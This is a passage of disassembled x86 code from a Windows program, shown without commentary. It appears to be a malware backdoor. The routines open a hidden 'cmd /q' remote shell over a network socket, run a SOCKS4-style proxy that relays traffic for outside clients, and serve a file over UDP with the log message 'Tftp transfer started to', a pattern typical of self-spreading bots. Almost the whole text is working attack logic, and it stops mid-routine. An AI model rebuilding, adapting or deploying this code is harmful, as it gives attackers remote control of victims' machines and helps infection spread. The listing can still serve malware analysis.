push esi push offset sub_4118F7 lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_41163F call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44B2C0 call sub_415AB0 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx xor eax, eax jmp loc_41171F ; --------------------------------------------------------------------------- loc_41163F: ; CODE XREF: sub_4115D0+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411995 lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_411680 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44B308 call sub_415AB0 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call ds:dword_4F5380 ; TerminateThread xor eax, eax jmp loc_411720 ; --------------------------------------------------------------------------- loc_411680: ; CODE XREF: sub_4115D0+86j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call ds:dword_4F53FC ; WaitForMultipleObjects sub eax, ebx jz short loc_4116DA dec eax jz short loc_4116D4 dec eax jz short loc_4116C0 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44B350 call sub_415AB0 pop ecx pop ecx jmp short loc_4116EF ; --------------------------------------------------------------------------- loc_4116C0: ; CODE XREF: sub_4115D0+D9j mov edi, ds:dword_4F5380 push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_4116EF ; --------------------------------------------------------------------------- loc_4116D4: ; CODE XREF: sub_4115D0+D6j push ebx push dword ptr [esi+10h] jmp short loc_4116DE ; --------------------------------------------------------------------------- loc_4116DA: ; CODE XREF: sub_4115D0+D3j push ebx push dword ptr [esi+14h] loc_4116DE: ; CODE XREF: sub_4115D0+108j call ds:dword_4F5380 ; TerminateThread push 1 push dword ptr [esi+8] call ds:dword_4F53C4 ; TerminateProcess loc_4116EF: ; CODE XREF: sub_4115D0+EEj ; sub_4115D0+102j push dword ptr [esi+10h] mov edi, ds:off_4F533C call edi ; sub_50B3D5 push dword ptr [esi+14h] call edi ; sub_50B3D5 push dword ptr [esi+8] call edi ; sub_50B3D5 push dword ptr [esi] call edi ; sub_50B3D5 push dword ptr [esi+4] call edi ; sub_50B3D5 push dword ptr [esi+0Ch] call ds:dword_4E3060 ; closesocket push esi call sub_41C9D0 xor eax, eax inc eax loc_41171F: ; CODE XREF: sub_4115D0+6Aj pop ecx loc_411720: ; CODE XREF: sub_4115D0+ABj pop edi pop esi pop ebx leave retn sub_4115D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411725 proc near ; CODE XREF: sub_4115D0+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41BE40 mov esi, eax pop ecx cmp esi, edi jz loc_41180F mov ebx, ds:dword_4F53D0 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, ds:off_4F533C test eax, eax jnz short loc_411788 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44B388 jmp short loc_4117A8 ; --------------------------------------------------------------------------- loc_411788: ; CODE XREF: sub_411725+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_4117B0 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44B3C8 loc_4117A8: ; CODE XREF: sub_411725+61j call sub_415AB0 pop ecx jmp short loc_4117DE ; --------------------------------------------------------------------------- loc_4117B0: ; CODE XREF: sub_411725+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_41181E add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; sub_50B3D5 push [ebp+var_8] call edi ; sub_50B3D5 cmp dword ptr [esi+8], 0 jnz short loc_411813 push offset unk_44B408 call sub_415A3C loc_4117DE: ; CODE XREF: sub_411725+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4117EA push [ebp+var_4] call edi ; sub_50B3D5 loc_4117EA: ; CODE XREF: sub_411725+BEj cmp [ebp+var_8], 0 jz short loc_4117F5 push [ebp+var_8] call edi ; sub_50B3D5 loc_4117F5: ; CODE XREF: sub_411725+C9j mov eax, [esi] test eax, eax jz short loc_4117FE push eax call edi ; sub_50B3D5 loc_4117FE: ; CODE XREF: sub_411725+D4j mov eax, [esi+4] test eax, eax jz short loc_411808 push eax call edi ; sub_50B3D5 loc_411808: ; CODE XREF: sub_411725+DEj push esi call sub_41C9D0 pop ecx loc_41180F: ; CODE XREF: sub_411725+1Dj xor eax, eax jmp short loc_411819 ; --------------------------------------------------------------------------- loc_411813: ; CODE XREF: sub_411725+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_411819: ; CODE XREF: sub_411725+ECj pop edi pop esi pop ebx leave retn sub_411725 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41181E proc near ; CODE XREF: sub_411725+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41E4B0 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41E4B0 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, ds:dword_4F53CC push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call ds:dword_4F53C8 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call ds:dword_4F5340 ; CreateProcessA test eax, eax jz short loc_4118DA mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov ds:dword_455F08[eax], ecx call ds:off_4F533C jmp short loc_4118F0 ; --------------------------------------------------------------------------- loc_4118DA: ; CODE XREF: sub_41181E+9Aj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44B438 call sub_415AB0 mov esi, [ebp+var_4] pop ecx pop ecx loc_4118F0: ; CODE XREF: sub_41181E+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_41181E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4118F7 proc near ; DATA XREF: sub_4115D0+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx mov ebx, ds:off_4F53BC push esi push edi mov edi, [ebp+arg_0] jmp short loc_41195A ; --------------------------------------------------------------------------- loc_41190E: ; CODE XREF: sub_4118F7+7Bj xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411943 loc_411919: ; CODE XREF: sub_4118F7+4Aj mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411933 cmp dl, 0Dh jz short loc_411933 mov [ebp+eax+var_1B0], 0Dh inc eax loc_411933: ; CODE XREF: sub_4118F7+2Cj ; sub_4118F7+31j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411919 loc_411943: ; CODE XREF: sub_4118F7+20j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call ds:dword_4E3018 ; send test eax, eax jle short loc_411974 loc_41195A: ; CODE XREF: sub_4118F7+15j lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] call ebx ; sub_50B3FC test eax, eax jnz short loc_41190E loc_411974: ; CODE XREF: sub_4118F7+61j mov esi, ds:dword_4F5360 call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_411990 call esi ; RtlGetLastWin32Error push eax push offset unk_44B470 call sub_415AB0 pop ecx pop ecx loc_411990: ; CODE XREF: sub_4118F7+88j pop edi pop esi pop ebx leave retn sub_4118F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411995 proc near ; DATA XREF: sub_4115D0+75o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx jmp loc_411A8E ; --------------------------------------------------------------------------- loc_4119B0: ; CODE XREF: sub_411995+10Ej cmp [ebp+var_10], ebx jbe short loc_4119BD dec [ebp+var_10] jmp loc_411A91 ; --------------------------------------------------------------------------- loc_4119BD: ; CODE XREF: sub_411995+1Ej mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411A79 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411A2D cmp al, 7Fh jz short loc_411A2D cmp al, 3 jnz short loc_4119E8 push ebx push ebx call ds:dword_4F5400 ; GenerateConsoleCtrlEvent jmp short loc_411A54 ; --------------------------------------------------------------------------- loc_4119E8: ; CODE XREF: sub_411995+47j cmp al, 15h jnz short loc_411A0A xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411A40 ; --------------------------------------------------------------------------- loc_411A0A: ; CODE XREF: sub_411995+55j xor ecx, ecx mov [ebp+esi+var_DC], al inc esi inc ecx cmp al, 0Dh mov [ebp+var_8], al jnz short loc_411A41 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411A40 ; --------------------------------------------------------------------------- loc_411A2D: ; CODE XREF: sub_411995+3Fj ; sub_411995+43j cmp esi, ebx jbe short loc_411A57 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411A40: ; CODE XREF: sub_411995+73j ; sub_411995+96j pop ecx loc_411A41: ; CODE XREF: sub_411995+85j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call ds:dword_4E3018 ; send test eax, eax jle short loc_411AA9 loc_411A54: ; CODE XREF: sub_411995+51j mov al, byte ptr [ebp+arg_0+3] loc_411A57: ; CODE XREF: sub_411995+9Aj cmp al, 0Dh jnz short loc_411A91 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call ds:dword_4F53B4 ; WriteFile test eax, eax jz short loc_411AA9 xor esi, esi jmp short loc_411A91 ; --------------------------------------------------------------------------- loc_411A79: ; CODE XREF: sub_411995+34j cmp [ebp+var_C], ebx jnz short loc_411A87 mov [ebp+var_C], 1 jmp short loc_411A91 ; --------------------------------------------------------------------------- loc_411A87: ; CODE XREF: sub_411995+E7j mov [ebp+var_10], 0Ah loc_411A8E: ; CODE XREF: sub_411995+16j mov [ebp+var_C], ebx loc_411A91: ; CODE XREF: sub_411995+23j ; sub_411995+C4j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call ds:dword_4E2FE0 ; recv test eax, eax jg loc_4119B0 loc_411AA9: ; CODE XREF: sub_411995+BDj ; sub_411995+DEj pop edi pop esi pop ebx leave retn sub_411995 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411AAE proc near ; DATA XREF: sub_401C87+2C00o var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd xor edi, edi xor esi, esi inc edi push ebx mov [eax+0A8h], edi lea eax, [ebp+var_14] push esi push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_40] call ds:dword_4E2FC8 ; htons push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call ds:dword_4E3048 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov ds:dword_455F0C[eax], edi lea eax, [ebp+var_14] push eax push edi call ds:dword_4E2FF4 ; bind test eax, eax jnz loc_411C4F push 0Ah push edi call ds:dword_4E2FF0 ; listen test eax, eax jnz loc_411C4F push [ebp+var_40] push [ebp+var_D4] call sub_40AEAD pop ecx push eax lea eax, [ebp+var_2D4] push offset dword_44B4B0 push eax call sub_41EA60 add esp, 10h cmp [ebp+var_30], esi jnz short loc_411B89 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_409C75 add esp, 14h loc_411B89: ; CODE XREF: sub_411AAE+B9j ; sub_411AAE+18Aj ... lea eax, [ebp+var_2D4] push eax call sub_415A3C pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call ds:dword_4E305C ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_2D4] push offset dword_44B4D8 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2D4] push 19h push eax call sub_40B691 mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov ds:dword_455F04[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_411CB2 push esi push esi call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov ds:dword_455F14[ecx], eax jnz short loc_411C45 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2D4] push offset dword_44B51C push eax call sub_41EA60 add esp, 0Ch jmp loc_411B89 ; --------------------------------------------------------------------------- loc_411C3D: ; CODE XREF: sub_411AAE+19Aj push 5 call ds:dword_4F534C ; Sleep loc_411C45: ; CODE XREF: sub_411AAE+16Dj cmp [ebp+var_28], esi jz short loc_411C3D jmp loc_411B89 ; --------------------------------------------------------------------------- loc_411C4F: ; CODE XREF: sub_411AAE+7Bj ; sub_411AAE+8Cj push edi call ds:dword_4E3060 ; closesocket push [ebp+var_40] lea eax, [ebp+var_2D4] push offset dword_44B558 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_411C92 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_409C75 add esp, 14h loc_411C92: ; CODE XREF: sub_411AAE+1C2j lea eax, [ebp+var_2D4] push eax call sub_415A3C push [ebp+var_3C] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi pop ebx sub_411AAE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411CB2 proc near ; DATA XREF: sub_411AAE+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] xor edi, edi mov [ebp+arg_0], esi imul esi, 234h inc edi lea esi, dword_455F0C[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call ds:dword_4E2FB0 ; select test eax, eax jnz short loc_411D33 push dword ptr [esi] call ds:dword_4E3060 ; closesocket push [ebp+arg_0] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_411D33: ; CODE XREF: sub_411CB2+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call ds:dword_4E2FE0 ; recv test eax, eax jg short loc_411D64 push dword ptr [esi] call ds:dword_4E3060 ; closesocket push [ebp+arg_0] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_411D64: ; CODE XREF: sub_411CB2+98j cmp [ebp+var_4D0], 4 jnz loc_411F5E cmp [ebp+var_4CF], 1 jnz loc_411F5E cmp [ebp+var_44], bl jz short loc_411DFA lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_411DFA lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset dword_44B58C call sub_415AB0 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_41E4B0 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call ds:dword_4E3018 ; send push dword ptr [esi] call ds:dword_4E3060 ; closesocket push [ebp+arg_0] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_411DFA: ; CODE XREF: sub_411CB2+CFj ; sub_411CB2+E5j push 10h lea eax, [ebp+var_18] push ebx push eax call sub_41E4B0 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call ds:dword_4E3048 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_411E92 call ds:dword_4E2F5C ; WSAGetLastError push eax push offset dword_44B5CC call sub_415AB0 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_41E4B0 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call ds:dword_4E3018 ; send push dword ptr [esi] call ds:dword_4E3060 ; closesocket push [ebp+arg_0] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_411E92: ; CODE XREF: sub_411CB2+181j lea eax, [ebp+var_18] push 10h push eax push edi call ds:dword_4E2F70 ; connect cmp eax, 0FFFFFFFFh jnz short loc_411F01 call ds:dword_4E2F5C ; WSAGetLastError push eax push offset dword_44B610 call sub_415AB0 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_41E4B0 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call ds:dword_4E3018 ; send push dword ptr [esi] call ds:dword_4E3060 ; closesocket push [ebp+arg_0] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_411F01: ; CODE XREF: sub_411CB2+1F0j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call ds:dword_4E3018 ; send push dword ptr [esi] push edi call sub_411F76 pop ecx pop ecx push edi call ds:dword_4E3060 ; closesocket push dword ptr [esi] call ds:dword_4E3060 ; closesocket push [ebp+arg_0] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_411F5E: ; CODE XREF: sub_411CB2+B9j ; sub_411CB2+C6j push dword ptr [esi] call ds:dword_4E3060 ; closesocket push [ebp+arg_0] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread sub_411CB2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411F76 proc near ; CODE XREF: sub_411CB2+286p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_411F8C: ; CODE XREF: sub_411F76+BEj ; sub_411F76+EEj xor ecx, ecx mov [ebp+var_100], ebx inc ecx xor eax, eax mov [ebp+var_104], ecx loc_411F9D: ; CODE XREF: sub_411F76+36j mov edx, [ebp+arg_0] cmp [ebp+eax*4+var_100], edx jz short loc_411FAE inc eax cmp eax, ecx jb short loc_411F9D loc_411FAE: ; CODE XREF: sub_411F76+31j cmp eax, ecx jnz short loc_411FC2 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_411FC2: ; CODE XREF: sub_411F76+3Aj push esi lea eax, [ebp+var_504] push edi push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call ds:dword_4E2FB0 ; select lea eax, [ebp+var_104] push eax push ebx call ds:dword_4E2EB4 ; __WSAFDIsSet test eax, eax jz short loc_412022 push edi lea eax, [ebp+var_504] push esi push eax push ebx call ds:dword_4E2FE0 ; recv cmp eax, 0FFFFFFFFh jz short loc_41206A push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call ds:dword_4E3018 ; send cmp eax, 0FFFFFFFFh jz short loc_41206A loc_412022: ; CODE XREF: sub_411F76+7Ej lea eax, [ebp+var_104] push eax push [ebp+arg_0] call ds:dword_4E2EB4 ; __WSAFDIsSet test eax, eax jz loc_411F8C push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call ds:dword_4E2FE0 ; recv cmp eax, 0FFFFFFFFh jz short loc_41206A push edi push eax lea eax, [ebp+var_504] push eax push ebx call ds:dword_4E3018 ; send cmp eax, 0FFFFFFFFh jnz loc_411F8C loc_41206A: ; CODE XREF: sub_411F76+93j ; sub_411F76+AAj ... pop edi pop esi pop ebx leave retn sub_411F76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41206F proc near ; CODE XREF: sub_41206F:loc_4124DAp ; DATA XREF: sub_401C87+20B2o ... var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_778 = byte ptr -778h var_578 = byte ptr -578h var_577 = byte ptr -577h var_576 = byte ptr -576h var_575 = byte ptr -575h var_574 = byte ptr -574h var_374 = dword ptr -374h var_370 = byte ptr -370h var_26C = byte ptr -26Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D0 = byte ptr -0D0h var_CF = byte ptr -0CFh var_CE = byte ptr -0CEh var_CD = byte ptr -0CDh var_50 = byte ptr -50h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 87Ch mov edx, [ebp+arg_0] push ebx push esi xor ebx, ebx push edi xor eax, eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_374] push ebx inc eax push 2 rep movsd inc [ebp+var_164] push 2 mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_8], eax mov [edx+2A0h], eax call ds:dword_4E3048 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41210F push 190h call ds:dword_4F534C ; Sleep cmp [ebp+var_D8], ebx jnz short loc_4120EF push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409C75 add esp, 14h loc_4120EF: ; CODE XREF: sub_41206F+5Bj lea eax, [ebp+var_778] push eax call sub_415A3C push [ebp+var_168] call sub_40B9A7 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_41210F: ; CODE XREF: sub_41206F+48j lea eax, [ebp+var_10] push 4 push eax mov edi, 0FFFFh push 4 push edi push esi call ds:dword_4E2FA8 ; setsockopt lea eax, [ebp+var_14] push 4 push eax push 0FFFFFFFBh push edi push esi call ds:dword_4E2FA8 ; setsockopt mov eax, [ebp+var_168] push 10h imul eax, 234h push ebx mov ds:dword_455F0C[eax], esi lea eax, [ebp+var_2C] push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_2C], 2 push [ebp+var_160] call ds:dword_4E2FC8 ; htons mov [ebp+var_2A], ax lea eax, [ebp+var_2C] push 10h push eax push esi mov [ebp+var_28], ebx call ds:dword_4E2FF4 ; bind cmp eax, 0FFFFFFFFh jnz short loc_412199 push 1388h call ds:dword_4F534C ; Sleep dec [ebp+var_164] push [ebp+arg_0] jmp loc_4124DA ; --------------------------------------------------------------------------- loc_412199: ; CODE XREF: sub_41206F+10Fj lea eax, [ebp+var_370] push offset aRb_0 ; "rb" push eax call sub_41E490 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_4121FF push 190h call ds:dword_4F534C ; Sleep push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409C75 lea eax, [ebp+var_778] push eax call sub_415A3C push [ebp+var_168] call sub_40B9A7 add esp, 1Ch push ebx call ds:dword_4F53A0 ; ExitThread loc_4121FF: ; CODE XREF: sub_41206F+142j ; sub_41206F+425j mov edi, [ebp+arg_0] cmp [edi+2A0h], ebx jz loc_41249D mov edi, 80h lea eax, [ebp+var_D0] push edi push ebx push eax mov [ebp+var_1C], 5 mov [ebp+var_18], 1388h mov [ebp+var_878], esi mov [ebp+var_87C], 1 call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_1C] push eax push ebx lea eax, [ebp+var_87C] push ebx push eax push ebx call ds:dword_4E2FB0 ; select test eax, eax jle loc_412491 mov al, ds:byte_4E5D24 mov ecx, edi mov [ebp+var_578], al xor eax, eax lea edi, [ebp+var_577] mov [ebp+var_C], 10h rep stosd stosw stosb lea eax, [ebp+var_C] push eax lea eax, [ebp+var_3C] push eax push ebx lea eax, [ebp+var_D0] push 80h push eax push esi call ds:dword_4E2FA0 ; recvfrom push [ebp+var_38] mov [ebp+var_8], eax call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_50] push eax call sub_41EA60 cmp [ebp+var_D0], bl pop ecx pop ecx jnz loc_41247B cmp [ebp+var_CF], 1 jnz loc_412387 lea eax, [ebp+var_26C] push eax call sub_41BC70 push ebx push ebx push [ebp+var_4] call sub_420FE0 push [ebp+var_4] lea eax, [ebp+var_574] mov [ebp+var_578], bl mov [ebp+var_577], 3 push 200h push 1 push eax mov [ebp+var_576], bl mov [ebp+var_575], 1 call sub_41E180 add esp, 20h lea ecx, [ebp+var_3C] mov [ebp+var_8], eax add eax, 4 push [ebp+var_C] push ecx push ebx push eax lea eax, [ebp+var_578] push eax push esi call ds:dword_4E302C ; sendto lea eax, [ebp+var_50] push eax lea eax, [ebp+var_778] push offset aTftpTransferSt ; "Tftp transfer started to: %s" push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_412375 push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409C75 add esp, 14h loc_412375: ; CODE XREF: 